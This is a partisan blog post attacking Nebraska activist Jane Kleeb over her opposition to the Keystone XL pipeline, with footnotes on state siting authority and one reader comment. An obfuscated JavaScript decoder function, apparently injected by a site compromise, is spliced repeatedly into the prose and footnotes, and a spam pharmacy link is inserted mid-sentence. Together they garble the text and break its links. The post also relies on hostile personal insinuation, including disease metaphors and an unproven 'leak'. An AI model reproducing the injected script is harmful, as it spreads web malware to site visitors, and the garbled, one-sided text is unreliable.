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You are here: Home / Sustainable Development / Agenda 21 / Nebraska Three Faces of Eve: Jane Kleeb – Farmer, Pundit, or Radical Leftist?

Nebraska Three Faces of Eve: Jane Kleeb – Farmer, Pundit, or Radical Leftist?

Originally published October 14, 2011, By Shelli Dawdy. Updated July 21, 2015. 1 Comment

Some bits of information noted in our articles about the TransCanada Keystone XL pipeline project:

  • Many Nebraskans who oppose the pipeline project or who simply want the route changed are citing environmentalist jargon in making their case.
  • Nebraskans who call themselves conservative are working with or supporting groups and individuals with whom they would normally say they have nothing in common politically. On one side there are leftist-environmental groups1 For a refresher on just some of what's wrong with this, see our Sustainable Development page which we find impossible to keep properly updated with ...continue.
  • Nebraskans who call themselves conservative, in citing environmentalist lingo, are assisting an environmentalist agenda now and in future.
  • People who call themselves conservative who work with left-wingers on an issue today are giving those left-wingers credibility for tomorrow.

Primary reasons the U.S. is trouble:

  • Moral bankruptcy; lack of ethics in general conduct, lack of personal responsibility, and a failure to consider whether principles are adhered to in our dealings with others.
  • Lack of long-term and analytical thinking is leading to layers of poor decision making.
  • Political discourse is increasingly reduced to a "Soup of the Day" mentality; it's all about today's issue.
  • Morals and character count, so it matters who is standing next to us when we attempt to fix problems, address concerns, and/or impact policy.

You might notice I didn't reference spending, taxes, or regulations; they are all just symptoms of the overall disease. A lack of discretion and failure to engage in long-term critical thinking often means ineffective, undesirable results, and/or ultimately undercuts chances of ever moving towards constitutional, limited government.

A closer look at one Nebraska politico who has been heavily involved in advocacy against the pipeline project, provides, I think, a vivid illustration of exactly the type of person constitutional, limited-government types should avoid.

That politico is Jane Fleming Kleeb. (Kleeb, by the way, does not rhyme with "dweeb", as intuition might direct; it rhymes with "Deb".) Until recently, we thought only media, political insiders and junkies, and the like even knew Jane Kleeb's name, unless there was some vague recollection of her last name from the 2008 election season. Jane's husband, Scott, a Democrat, was defeated by Mike Johanns, in the general election for Nebraska's open U.S. Senate seat previously held by Chuck Hagel.

GiN became aware of Mrs. Kleeb's separate perturbing influence on Nebraska politics by the middle of 2009 and correctly categorized her as destructive, very purchase-genericonline.net left-wing -- beyond progressive. However, despite our own observations and even direct experiences, we determined we weren't interested in enlarging her profile. So, we decided to take what the medical professionals call a "watchful waiting" approach, hoping that the symptoms of the disease would disappear without treatment.

In retrospect, perhaps we misjudged. Some diseases require aggressive surgical removal before they spread.

I questioned myself for the first time when my own husband casually informed me one afternoon:

"That Jane Kleeb seems pretty smart."

Excuse me?!

My husband described an interesting debate he'd heard on Omaha's 1110 KFAB between Kleeb and TransCanada's President. He thought Kleeb raised a lot of good points, in fact, he thought she'd bested the guy from TransCanada.

It's important to note my husband had not followed this issue at all prior to the week of that radio debate. Unlike a number of Nebraskans who call themselves conservative, my husband doesn't mention "the environment" in his list of concerns about the pipeline. He's mostly puzzled about how the whole things been handled. The only semblance of an environmental concern he has expressed regards why TransCanada and a lot of Nebraska politicians seem Hell-bent on placing an oil pipe over a major aquifer if there are alternatives available.

My husband's review of the debate was obviously very interesting to me. Because I know more than I'd like about Jane Fleming Kleeb and her poses, I have not listened to the radio debate myself. My interest in it rests solely on the first impression she created in the mind of a Republican voter like my husband, who is generally fed up with "function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand the Perils of (Assisted) Political Suicide" href="http://grassrootsne.com/?p=11629" target="_blank">the ruling class". He is not a political junkie so he had no idea who Jane Kleeb was. Via the radio debate he found her to be well spoken, reasonable, measured, and not using environmental rhetoric to an extent that set off his "wait, she's-a-wacko" radar. I found his reaction emblematic of the overall problem with people like Kleeb; she poses as a reasonable political moderate in certain venues under certain circumstances. However, if one takes the time to scrutinize her rhetoric and actions, she is far more radical.  I also find my husband's reaction unfortunate because, too few Americans wonder how much their one-time perception differs from reality (sorry, Mr. Dawdy).

To illustrate the contrast in Jane Kleeb's poses, we can find them by simply looking at her actions and remarks about the pipeline in various other locations.

In a debate on a radio station packed with conservative talk shows, she was, apparently, perfectly down-home Nebraskan, wanting more oil coming into the state, just not this yucky tar sands oil. It is my understanding, in fact, the way this Jane Kleeb framed the argument, one could imagine a Huskerfied version of Rosie the Riveter, constructing a Nebraska oil refinery with her own two hands, if only she could. *Sigh*

Interestingly, however, in a creepy Three-Faces-of-Eve manner, a woman, curiously also named Jane Kleeb, in manifesting her second face, was involved in a recent series (August 2011) of protests of the TransCanada pipeline project in Washington, D.C. Here's a snapshot from one of the days of protests featured on the Huffington Post: (Yes...it is possible to visit that site without experiencing cranial explosion, but only just. Proceed at your own risk.)

Click to read Huffington Post article

A number of Nebraskans were arrested at the D.C. protest lalapalooza, and in fact, Mrs. Kleeb proudly reported to Lincoln's Channel 10/11:

"'The Nebraskans were actually sitting in the front row,' Kleeb said. 'It was a somber mood - folks were very serious. There was no kind of laughing or any kind of high-fives and when they got arrested they stood strong - held their heads high and really represented our state well.'" (emphasis added)

"Represented our state well"?? What's the standard?? While that's plenty fascinating, I think the following quote from the 10/11 article makes my point about just how far out there Mrs. Kleeb really is, and, as a bonus, is strangely entertaining:

"But for Kleeb, the move is rather bittersweet. She's a strong supporter of the Obama Administration.

'I am not disillusioned with the president. I still believe he is a visionary leader," she said. "But I am absolutely disappointed with his leadership when it comes to energy. He promised us that when he was elected he was going to heal the planet and save us energy and that has not happened,'"  (emphasis added)

Click to read article "Environmental Religiousity..."

So, the Jane Kleeb's pose or chosen face in most venues, regarding the pipeline, has been that she's a Nebraska farmer who just wants that pipeline moved.

But another version of Mrs. Kleeb doesn't want oil - she wants to heal the planet. Further, she thinks Barack Obama can do it. Ya suppose she thinks he can part the seas, too? Oh...and save us energy? With what? Does electricity shoot out of his fingernails? Anyone else creeped out here?

A few days ago, function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Eww! Ineffective Flushes" href="http://grassrootsne.com/?p=8316" target="_blank">I examined the whole subject of the religious fervor with which some embrace and promote a "green" agenda. This embrace, rather like an ugly virus, has infected the country such that we're bombarded with a bizarre "going green" campaign and a growing number of retrograde policies that have a real impact on Americans' daily lives and wallets.

America's inability to tap its own natural resources is at the top of the list. Drilling bans and restrictions, lack of added refinery capacity, and a flurry of other environmental regulations are inhibiting our ability to safely extract much needed oil. Increased gas costs are adding to the pile of many other stupid policies which keep unemployment rates and function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Housing Starts" href="http://www.shadowstats.com/article/no-385-july-cpi-ppi-industrial-production-and-housing-starts?hldiv=cpi_3#cpi_3" target="_blank">the prices of many goods and services up.

We wouldn't even be interested in promoting the extraction and piping of oil from our northern neighbor if we would extract and pump our own oil.

Such policies are so absurd, environmentalists actually cite the fact that oil prices kept high, along with subsidies, will help the development of "alternative energy" sources. Like 16th century Dutch windmill technology, function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand_politics/hey_wait_a_minute/2005/07/corn_dog.html" target="_blank">a gasoline additive that takes more money and energy to produce than the end product, and the stuff which operates sundials and companies like Solyndra. In other words, an entirely false construct of artificially government-controlled pricing and prohibitions, along with funds provided through taxation, borrowing, and the printing press are all necessary to make green dreams come true.

Further, as pointed out in an earlier article about TransCanada, Jane Kleeb has an inherent conflict of interest on the whole subject of energy; her husband Scott owns a company which could not and would not exist without the growing religious-zealotry for "goin' green" and, more importantly, without the Obama Administration's and Congress' embedding of "green" subsidies and tax credits throughout the February 2009 Stimulus Bill.

Simply put, Jane Kleeb has no credibility on this subject.

So, when one of the "Three Faces of Eve" versions of Mrs. Kleeb came onto the GiN site, the Nice Nebraska Farm Gal, inviting coffee and a chat, readers might understand why I'd demur.

Comment made on GiN article "Transcending the Typical TransCanada Talking Points"

While sheer morbid curiousity might compel me to request a Jane Kleeb definition of "states rights", I think I can figure it out. More importantly, where does this woman get off thinking she's going to instruct anyone on "where we are headed with energy independence and the environment", considering all? Know something the rest of us don't, Mrs. Kleeb? Or, is Mrs. Kleeb suffering from function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandeur"" href="http://www.thefreedictionary.com/delusions+of+grandeur" target="_blank">delusions of grandeur?

Click to read full CRS Sept. 2010 report

At the beginning of this article, I asserted that lack of discretion regarding with whom people align and a lack of long-term critical thinking frequently ends in ineffective and even undesirable results. This whole bizarre TransCanada Keystone XL pipeline business provides an unfortunate example. With Jane Kleeb at the helm, those who want the pipeline routed as is, where is, have nothing to worry themselves about.

In the past week and a half, I've been asked multiple times why much more hasn't been made of the existence of the September 2010 Congressional Research Service (CRS) report, which stated, very plainly, that siting and regulation of interstate oil pipelines is not done by the federal government, it's done by state governments, if states only care to put appropriate structures in place.

I've also been asked why the Unicameral's Natural Resources Committee and other State Senators who introduced pipeline legislation were bizarrely and unnecessarily confused, and questioned their own siting authority, considering the information revealed by the Committee's Interim Study Report dated December 2010. And why was that CRS report alluded to, but not included?

Click to read LR435: Legislative Interim Study Report

While there are no good answers to these important questions, I cannot avoid wondering whether the involvement of  Jane Kleeb doesn't play a huge role. She and her fellow pipeline opponents where, quite obviously, entirely ineffective in bringing focus to such disturbing information. Why? A number of reasons, likely:

  • When people, like Jane Kleeb, have so many axes to grind, some just don't get properly sharpened.
  • A number of Jane Kleeb's long-term allies are directly in the line of fire.

Kleeb and company seemed to avoid asking a number of very pointed questions or revealing relevant and important information...

  • Kleeb led the charge in bringing the CRS report's existence to the attention of the Nebraska media, but the posting on her website and the packet she prepared did not reveal where, when, and how she had learned of the document. This leads to the conclusion that it was leaked to her by an insider, perhaps someone in the Unicameral.
  • Kleeb and her cohorts failed to mention the Interim Study Report, which is just as troubling as the CRS report.
  • Kleeb and company have not, to date of which I'm aware, called out any Nebraska legislators who seem curiously M.I.A. from the pipeline debate, including the typically front and center Heath Mello, Jeremy Nordquist, Amanda McGill, and Daniel Nantkes-Conrad. Why? Kleeb and said Senators are far too entangled with one of Nebraska's leading political power coalitions - heavily funded and led by unions. Some of those very same unions are vocal advocates of the TransCanada Keystone XL pipeline project.

Kleeb, in fact, has such a long history with Nebraska's organized labor power coalition, some people might rightly wonder whether or not her very visible involvement in pipeline opposition and, yet, total ineffectiveness in focusing on specific and timely remedies, isn't highly questionable.

Finally, Kleeb and company supported passage of any/all of the three bills introduced in the Unicameral this past session...why? While the bill that did ultimately pass seems like legislation that should have already been on Nebraska's books, NONE of the three bills had anything to do with siting a pipeline or doing much to regulate one. In other words, none of the bills went anywhere near establishing what was required, as pointed to in both the Sept. 2010 CRS report or the Dec. 2010 Natural Resources Committee Interim Study Report.

Just WHY didn't Jane Kleeb and her posse call out ALL legislators involved in this ineffective legislative effort?

Instead of getting focused, staying there, and actually holding legislators' feet to the fire, Mrs. Kleeb opted for the crocodile tears routine. Here is video from her testimony at a State Department hearing about the pipeline in Washington, D.C. last week:

Yah. That's more effective...than say...

  • Prior opportunities for effective action

OR EVEN

  • Logic

  • Reason

  • Facts

Nuff said...Re: coalescing with one Jane Kleeb on the TransCanada Keystone XL pipeline issue, ladies and gentlemen?

I say...
Let her frolic off to heal the planet and return to working with her usual friends...

(Maybe as seen, below??...warning...you may need a bucket) E-mail subscribers, click HERE.

We constitutional conservative types can focus on healing the moral bankruptcy that has apparently resulted in Nebraska officials praying the clock runs out so they don't have to take any responsibility.

How 'bout it????

But, there's oh-so-much-more. (To be continued.)

This article is part of one or more series – see bottom

Jane Flemming Kleeb Series

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1. ↑ For a refresher on just some of what's wrong with this, see our Sustainable Development page which we find impossible to keep properly updated with all of the "latest and greatest" happenings to keep the "green" agenda moving forward.] and on the other, labor unions[ref] For a refresher on some of the core problems with this issue, read any one of the many articles about Nebraska's collective bargaining statutes and the coalition of power that keeps spending by local and and state governments on the rise

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  1. Julie Schmit-Albin says

    October 17, 2011 at 12:39 am

    Good job on peeling away Jane’s veneer. The clip from the State Dept. hearing pretty much sums it up. She became a Nebraskan in 2007. I look forward to further posts about the Kleeb’s and their conflicts of interest.

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1. ↑ Note that Congressmen attempting to take action are engaging in acts that are, at best, questionable under our Constitution; Article II, Section 2, "He (The executive / the President) shall have Power, by and with the Advice and Consent of the Senate, to make Treaties, provided two-thirds of the Senators present concur;". The Senate shouldn't have taken up Lee Terry's bill.
2. ↑ Every January, the Lincoln Journal Star Editorial Board publishes it's annual "agenda", stating, "Our intent is to be clear and direct with our readers on our priorities." In both 2011 and 2012, the agendas published included mention of the Keystone XL Pipeline. Question: Why do people believe that any "news" outlet, whether it be print or broadcast, is "fair and balanced", unbiased, or objective? Journal Star, by stating it HAS an agenda is clearly signalling to anyone reading that the newspaper does not exist to report events, but to ADVOCATE. We could thank the Journal Star Editorial Board for being so clear in notifying readers. But, I contend that the claim of an intent to be "clear and direct" is, in itself misleading. Considering the way in which Journal Star regularly reports on many issues, including the Pipeline, and specifically, the timing of publication of the price impact issue, Journal Star proves that its stated agenda about the pipeline was not "clear and direct" - its advocacy was clearly not limited to re-routing.
3. ↑ When Dubas testified before the Unicameral's Natural Resources Committee about her special session bill, that, '...[W]e have been trying to pass siting laws for the past three years. If the lobbying efforts had spent less time, energy, and money blocking our work, we would not be in this special session...'This is a discussion and a decision that should have been made already. We were lobbied to become uncertain about our rights. Now we are faced with citizens who feel we have ignored their concerns and misleading and aggressive threats of billion dollar lawsuits.'" It was such amazing statements by an elected official that led us to characterize Dubas precisely as we did in our parody game show piece about the whole Nebraska Pipeline affair, "The New National Past Time: Pipeline Hot Potato"
4. ↑ The Sovereignty Resolution was originally numbered LR292 – but due to an error in the original wording, it had to be re-introduced with a new number, LR539. We only make  mention of this fact because some of the information available includes the original number, some the new number. HERE is a link to the Rules of the Legislature, the copy to which we’re linking is from the most recent session, which is the one most readily available – we do not have time to track down changes since 2010.
5. ↑ It's important to note that Senator Fulton's comments in June of 2009 about State Sovereignty / Tenth Amendment and balanced federalism are indicative of a fundamental misunderstanding that goes beyond what can be articulated merely be contrast. We cannot fully address this issue here but intend to do so in the future. Meanwhile, if readers are curious about how Sen. Fulton articulated the issue of State Sovereignty to the Unicameral committee before which the Resolution was heard and his purposes for doing so, click HERE to read the transcript. Also, for further statements by Senator Fulton regarding the TransCanada Keystone XL Pipeline, see the video located HERE.
6. ↑ The CRS report is not the only information that was available to Senator Fulton; as a member of the Nebraska State Legislature who co-sponsored legislation pertaining to pipelines, it is more than reasonable to assume either that the Senator or his staff would have been given or requested the highly relevant Interim Study Committee Report by the Natural Resources Committee which was completed in December 2010, before the opening of this year's Unicameral session. Although Senator Fulton may have been considering or working on legislation prior to the completion of the report, it is also more than reasonable to assume that a Senator who wished to conduct their work on a legislative matter would have been in contact with other Senators and with particular committees which have authority over pipelines and their related matters, which would be, first the function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Telecommunications Committee page" href="http://news.legislature.ne.gov/tra/" target="_blank">Transportation and Telecommunications Committee, and second, the Natural Resources Committee. In addition to the included reference to Nebraska Congressional representatives' research work, the Interim  Study Report itself conveyed enough information to make clear to a thinking person that siting authority was within the State of Nebraska's powers but that there were not adequate provisions in law to carry it out. None of the Senators, including Sen. Fulton, introduced pipeline siting legislation.
7. ↑ An ex post facto law is a retroactive law and is prohibited under the U.S. Constitution, Article I, Section 9a.
8. ↑ Special law or legislation is, "a law that applies to a particular place or esp. to a particular member or members of a class of persons or things in the same situation but not to the entire class and that is unconstitutional if the classification made is arbitrary or without a reasonable or legitimate justification or basis"
9. ↑ Because there was an effort by Nebraskas' officials to "run out the clock" and avoid taking action, there is serious potential for TransCanada to sue for damages based on a "bad faith" argument. This project has been known for some time, so lawmakers and the Governor had the opportunity to act much earlier.
10. ↑ Specific passages from "function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Markets" href="https://www.neb-one.gc.ca/ll-eng/livelink.exe/fetch/2000/90464/90552/418396/550305/556487/549220/B-1f_-_Supply_and_Markets_%28Tab_3%29_incl._Appendix_3.1_-_A1I9R7?nodeid=549324&vernum=0" target="_blank" rel="noopener noreferrer">Keystone XL Pipeline Section 52 Application, Section 3: Supply and Markets". Page 1: "...(B)itumen projects are more economic to develop than upgraded synthetic crude oil...The Keystone XL Pipeline will be in a position to access new markets for crude oil supply, both for increased supply of heavy crude in the short term, and for future supply of light synthetic crude if the economics of upgrading projects in Alberta improve." Page 2: "TransCanada...concludes that this supply growth will require access to new crude oil markets, underpinning the need for the Keystone XL Pipeline. ...“PADD”) III is the largest untapped market for western Canadian crude oil producers." Page 3: "The target market for the Keystone XL Pipeline is the USGC, located within PADD III, which is the largest refining market in the world." Page 5: "The Keystone XL Pipeline provides Canadian crude producers and USGC refiners with an opportunity to supply a portion of the total of 470,500 m3/d (2.96 million bbl/d) of heavy and light crude imports into PADD III. Furthermore, shippers on the Keystone XL Pipeline have made binding long term commitments to connect Alberta production to the USGC market." Page 7: "Existing markets for Canadian heavy crude, principally PADD II, are currently oversupplied, resulting in price discounting for Canadian heavy crude oil. Access to the USGC via the Keystone XL Pipeline is expected to strengthen Canadian crude oil pricing in PADD II by removing this oversupply. This is expected to increase the price of heavy crude to the equivalent cost of imported crude. Similarly, if a surplus of light synthetic crude develops in PADD II, the Keystone XL Pipeline would provide an alternate market and therefore help to mitigate a price discount. The resultant increase in the price of heavy crude is estimated to provide an increase in annual revenue to the Canadian producing industry in 2013 of US $2 billion to US $3.9 billion."
11. ↑ function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandmail.com/globe-investor/keystone-link-to-gulf-finds-enough-producers/article1883974/?service=mobile" target="_blank" rel="noopener noreferrer">"Keystone link to Gulf finds enough producers", "Keystone XL may mean higher Canadian crude prices"
12. ↑ The information TransCanada submitted on their Presidential Permit application for the Keystone XL project omits the particular information provided to the Canadian NEB about PADD II price increases and only mentions PADD III market increases. UPDATED May 6, 2012: Note that the original link provided in this footnote - directly to the TransCanada website's posting of the documents submitted - no longer works. TransCanada has apparently removed the document from its website. The Internet Archive's WayBack Machine, however, did archive the link, and I have also downloaded a copy of the document "just in case". Click HERE to visit the archived link and download / view the document.
13. ↑ As we have previously noted, we have received multiple, independent reports that J. Peter Ricketts is a key local benefactor for AFP-NE; in addition, Ricketts is the Founder, Director, and major funder of Platte Institute
14. ↑ An individual who went on the AFP-NE bus trip reported to me that he had a change of heart upon arriving in Atkinson and decided not to testify in support of the project; although there were no explicit statements by AFP-NE regarding testimony, the fellow who had changed his mind was aggressively pressured by the State Director throughout his time in Atkinson.

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